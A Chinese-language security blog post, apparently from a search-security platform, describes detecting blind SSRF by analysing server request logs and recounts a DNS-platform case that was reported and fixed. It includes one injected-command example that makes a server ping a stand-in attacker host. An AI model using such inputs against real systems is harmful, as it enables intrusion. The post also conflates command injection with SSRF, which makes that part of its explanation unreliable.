网络安全 SSRF 漏洞检测:无回显场景下的新思路
2023-09-16 09:33:37
搜索安全开放平台每时每刻都遭遇到海量用户的搜索请求,而这些请求中不乏有一些可疑或恶意的请求。深入分析这些可疑请求,有助于我们深入了解最新的网络攻击手法,并且从中提炼出新的安全防护思路。
在日常的安全事件响应中,安全研究人员常常会遇到服务器端接收到的可疑请求。例如,某个服务器收到了大量类似于 GET /search?q=www.google.com
的请求,服务器的正常业务逻辑中并没有搜索引擎相关的功能,那么这些请求很有可能是攻击者利用了服务器的 SSRF 漏洞进行的攻击。SSRF(Server-Side Request Forgery)是一种服务器端的攻击手法,攻击者可以通过构造特定的 HTTP 请求,诱导服务器端向任意地址发起请求。
当服务器接收到含有攻击者提供的请求参数的 HTTP 请求时,由于服务器无法分辨请求的真实来源,故而会按照请求中的内容发起向目标地址的请求。在传统的 SSRF 漏洞利用场景中,攻击者可以构造一个含有回显机制的请求,例如 GET /search?q=www.example.com;ping www.attacker.com
,当服务器端按照请求发起请求后,攻击者就可以通过监听自己服务器收到的来自受害服务器的请求来判断 SSRF 漏洞是否存在。
然而,在某些情况下,服务器端并不会回显请求的结果,此时攻击者就无法通过传统的回显方式判断 SSRF 漏洞是否存在。例如,某些服务器端在处理 SSRF 请求时,会将请求的结果保存在日志文件中,或者通过邮件等方式发送给管理员。在这种情况下,攻击者就无法通过传统的回显方式判断 SSRF 漏洞是否存在。
针对这种情况,我们提出了一种新的 SSRF 漏洞检测思路。该思路的核心思想是:通过分析服务器端的请求日志,判断服务器端是否向异常地址发起了请求。
我们以 DNS 平台为例,DNS 平台的主要功能是将域名解析成 IP 地址。在正常的业务场景中,DNS 平台不会向除了解析目标以外的地址发起请求。因此,如果我们发现 DNS 平台向某个异常地址发起了请求,那么我们可以推断出 DNS 平台可能存在 SSRF 漏洞。
为了验证我们的思路,我们对 DNS 平台的请求日志进行了分析。我们发现 DNS 平台在某个时间段内向一个异常地址发起了请求。该异常地址是一个不存在的域名,并且该请求没有得到回显。根据我们的思路,我们可以判断出 DNS 平台很可能存在 SSRF 漏洞。
进一步分析发现,DNS 平台存在 SSRF 漏洞的原因是其使用了不安全的第三方库。该第三方库在处理 HTTP 请求时,没有对请求的来源进行严格的验证,导致攻击者可以利用该漏洞构造恶意请求,诱导服务器端向任意地址发起请求。
我们及时将该漏洞通报给了 DNS 平台的厂商,厂商第一时间修复了该漏洞。
通过这个案例,我们可以看到,即使服务器端没有回显请求的结果,我们仍然可以通过分析服务器端的请求日志来判断 SSRF 漏洞是否存在。这种新的思路为 SSRF 漏洞检测提供了一个新的视角,有助于我们更加有效地发现和修复 SSRF 漏洞。